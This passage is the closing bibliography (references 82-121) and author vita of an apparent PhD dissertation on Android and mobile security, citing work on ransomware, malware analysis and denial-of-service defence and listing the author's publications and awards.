[82] “Android Phones Hit by Ransomware,” http://bits.blogs.nytimes.com/2014/08/22/android-phones-hit-by-ransomware/?_r=0.
[83] “iPhone Ransomware,”www.csmonitor.com/Innovation/Horizons/2014/0527/iPhone-kidnapping-What-to-do-if-your-device-gets-hijacked .
[84] “Mobile ransomware scarepakage,” https://blog.lookout.com/blog/2014/07/16/scarepakage/.
[85] “Android ransomware ’Koler’ turns into a worm, spreads via SMS,”www.computerworld.com/article/2836760/android-ransomware-koler-turns-into-a-worm-spreads-via-sms.html .
[86] “Mobile ransomware campaigns,”www.foxnews.com/tech/2015/01/16/android-malware-increasing-getting-smarter/ .
[87] XU, Z., K. BAI, and S. ZHU (2012) “Taplogger: Inferring user inputs on smart-phone touchscreens using on-board motion sensors,” in Proceedings of the fifthACM conference on Security and Privacy in Wireless and Mobile Networks, ACM.
[88] FELT, A. P., E. HA, S. EGELMAN, A. HANEY, E. CHIN, and D. WAGNER
(2012) “Android permissions: User attention, comprehension, and behavior,” inProceedings of the Eighth Symposium on Usable Privacy and Security.
[89] LEHEY, G. (2001) “Improving the FreeBSD SMP Implementation.” in USENIXAnnual Technical Conference, FREENIX Track.
[90] LIU, R., H. ZHANG, and H. CHEN “Scalable Read-mostly Synchronization UsingPassive Reader-writer Locks,” in Proceedings of the 2014 USENIX ATC.
[91] DESNOYERS, M., P. E. MCKENNEY, A. S. STERN, M. R. DAGENAIS, andJ. WALPOLE (2012) “User-level implementations of read-copy update,” Paralleland Distributed Systems, IEEE Transactions on.
[92] “Hunting Sony Hacking Malware on VirusTotal,” http://motherboard.vice.com/blog/sony-hack-cyberweapons-report.
119
[93] “Sony Got Hacked Hard,” http://www.wired.com/2014/12/sony-hack-what-we-know/.
[94] “ThreatExpert, 2010,” http://www.threatexpert.com/.
[95] “DroidBox,” https://github.com/pjlantz/droidbox.
[96] “Spark: Lightning-fast cluster computing,” http://spark.apache.org.
[97] “The Apache Cassandra database,” http://cassandra.apache.org.
[98] “Naive Bayes - spark.mllib,” http://spark.apache.org/docs/latest/mllib-naive-bayes.html.
[99] ZHANG, Y., X. LUO, and H. YIN “Dexhunter: toward extracting hidden codefrom packed android applications,” in Computer Security–ESORICS 2015.
[100] “KingRoot: the best one click root for Android,” www.kingroot.net.
[101] “iRoot: one click root for Android,” http://www.iroot.com.
[102] CHIN, E., A. P. FELT, K. GREENWOOD, and D. WAGNER (2011) “Analyzinginter-application communication in Android,” in Proceedings of the 9th interna-tional conference on Mobile systems, applications, and services, MobiSys ’11.
[103] LU, L., Z. LI, Z. WU, W. LEE, and G. JIANG “Chex: statically vetting androidapps for component hijacking vulnerabilities,” in Proceedings of the 2012 ACMCCS.
[104] SOUNTHIRARAJ, D., J. SAHS, G. GREENWOOD, Z. LIN, and L. KHAN “SMV-Hunter: Large Scale, Automated Detection of SSL/TLS Man-in-the-Middle Vul-nerabilities in Android Apps,” in Proceedings of the 21st Annual Network andDistributed System Security Symposium (NDSS’14).
[105] EGELE, M., D. BRUMLEY, Y. FRATANTONIO, and C. KRUEGEL “An empiricalstudy of cryptographic misuse in android applications,” in CCS ’13.
[106] MCCUNE, J. M., E. SHI, A. PERRIG, and M. K. REITER “Detection of denial-of-message attacks on sensor network broadcasts,” in Security and Privacy, 2005.
[107] YAAR, A., A. PERRIG, and D. SONG “SIFF: A stateless internet flow filter tomitigate DDoS flooding attacks,” in Security and Privacy, 2004.
[108] LIU, X., X. YANG, and Y. XIA (2011) “NetFence: preventing internet denial ofservice from inside out,” ACM SIGCOMM Computer Communication Review.
[109] KUMAR, S. and S. SURISETTY (2012) “Microsoft vs. Apple: Resilience againstDistributed Denial-of-Service Attacks,” Security & Privacy, IEEE.
120
[110] YAN, G., R. LEE, A. KENT, and D. WOLPERT “Towards a bayesian networkgame framework for evaluating ddos attacks and defense,” in Proceedings of the2012 ACM conference on Computer and communications security.
[111] ARMANDO, A., A. MERLO, M. MIGLIARDI, and L. VERDERAME (2012) “Wouldyou mind forking this process? A denial of service attack on Android (and somecountermeasures),” in Information Security and Privacy Research.
[112] ENCK, W., P. GILBERT, B.-G. CHUN, L. P. COX, J. JUNG, P. MCDANIEL,and A. SHETH (2010) “TaintDroid: An Information-Flow Tracking System forRealtime Privacy Monitoring on Smartphones.” in OSDI.
[113] YAN, L. K. and H. YIN “Droidscope: seamlessly reconstructing the os and dalviksemantic views for dynamic android malware analysis,” in USENIX Sec ’12.
[114] KANG, M. G., H. YIN, S. HANNA, S. MCCAMANT, and D. SONG (2009) “Emu-lating Emulation-resistant Malware,” in Proceedings of the 1st ACM Workshop onVirtual Machine Security.
[115] PÉK, G., B. BENCSÁTH, and L. BUTTYÁN “nEther: In-guest Detection of Out-of-the-guest Malware Analyzers,” in Proceedings of the Fourth European Workshopon System Security, EUROSEC ’11.
[116] CHEN, X., J. ANDERSEN, Z. M. MAO, M. BAILEY, and J. NAZARIO “Towardsan understanding of anti-virtualization and anti-debugging behavior in modernmalware,” in DSN’ 08.
[117] AL-SALEH, M. I. and J. R. CRANDALL “Application-level reconnaissance:Timing channel attacks against antivirus software,” in 4th USENIX Workshop onLEET 11’.
[118] JANA, S. and V. SHMATIKOV “Abusing file processing in malware detectors forfun and profit.” in SP’ 12.
[119] OBERHEIDE, J. and F. JAHANIAN “When Mobile is Harder Than Fixed (and ViceVersa): Demystifying Security Challenges in Mobile Environments,” in HotMobile’10, ACM.
[120] FEDLER, R., M. KULICKE, and J. SCHUTTE “An antivirus API for An-droid malware recognition,” in Malicious and Unwanted Software:" The Ameri-cas"(MALWARE), 2013.
[121] HUANG, H., S. ZHU, K. CHEN, and P. LIU (2015) “From System ServicesFreezing to System Server Shutdown in Android: All You Need Is a Loop in anApp,” in Proceedings of the 22nd ACM SIGSAC Conference on Computer andCommunications Security, ACM, pp. 1236–1247.
121
VitaHeqing Huang
Heqing Huang enrolled in the Ph.D. program in Computer Science and Engineeringat Pennsylvania State University in 2012. Prior to that, he received the B.S. degree inComputer Science from Huazhong University of Science and Technology, China in 2010.His research interests include mobile security, vulnerability analysis and big data forsecurity and etc. During his Ph.D study, he has interned in different industrial labs forsecurity research, including the Knox Team of Samsung Research America, the R&D ofPaloAlto Networks and FireEye Lab. His publications during the Ph.D. study include:
• H. Huang, C. Zheng, J. Zeng, W. Zhou, S. Zhu and P. Liu. "A Large-scale Studyof Android Malware Development Cases on Public Malware Submission andScanning Platform". 2016 (Under review).
• H. Huang, S. Zhu, K. Chen and P. Liu. "From System Services Freezing toSystem Server Shutdown in Android: All You Need Is a Loop in an Application".Proceedings of the 22nd ACM Computer and Communication Security, 2015.
• H. Huang, K. Chen, C. Ren, P. Liu, S. Zhu and D. Wu. "Towards Discoveringand Understanding Unexpected Hazards in Tailoring Antivirus Software for An-droid". Proceedings of the 10th ACM Symposium on Information, Computer andCommunications Security (AsiaCCS), 2015.
• H. Huang, S. Zhu, P. Liu and D. Wu. "A Framework for Evaluating Mobile AppRepackaging Detection Algorithms". Trust and Trustworthy Computing, 2013.
• F. Zhang, H. Huang, S. Zhu, D. Wu and P. Liu. "ViewDroid: Towards Obfuscation-Resilient Mobile Application Repackaging Detection". Proceedings of the 7thACM Conference on Security and Privacy in Wireless and Mobile Networks, 2014.
• L. Guan, J. Xu, S. Wang, H. Huang, P. Liu, L. Lin, X. Xing, and W. Lee. "FromPhysical to Cyber: Escalating Protection for Personalized Auto Insurance". 2016(Under review).
• K. Chen, P. Wang, Y. Lee, X. Wang, N. Zhang, H. Huang, W. Zou and P. Liu."Finding Unknown Malice in 10 Seconds: Mass Vetting for New Threats at theGoogle-Play Scale". Proceedings of the 24th USENIX Security, 2015.
• H. Huang, S. Zhang, X. Ou, A. Prakash, and K. Sakallah. "Distilling CriticalAttack Graph Surface Iteratively through Minimum-Cost SAT Solving". The 27thAnnual Computer Security Application Conference, (Best Student Paper) 2011.
Awards during the Ph.D. study include:• FireEye Lab Hackathon Winner, 2016.• Student Travel Grants for Computer and Communication Security, 2015.• Outstanding Graduate Research Assistant Award, 2014.• First Place in the Pennsylvania State Cisco Innovation Challenge, 2013.• Best Student Paper Award ACSAC, 2011.
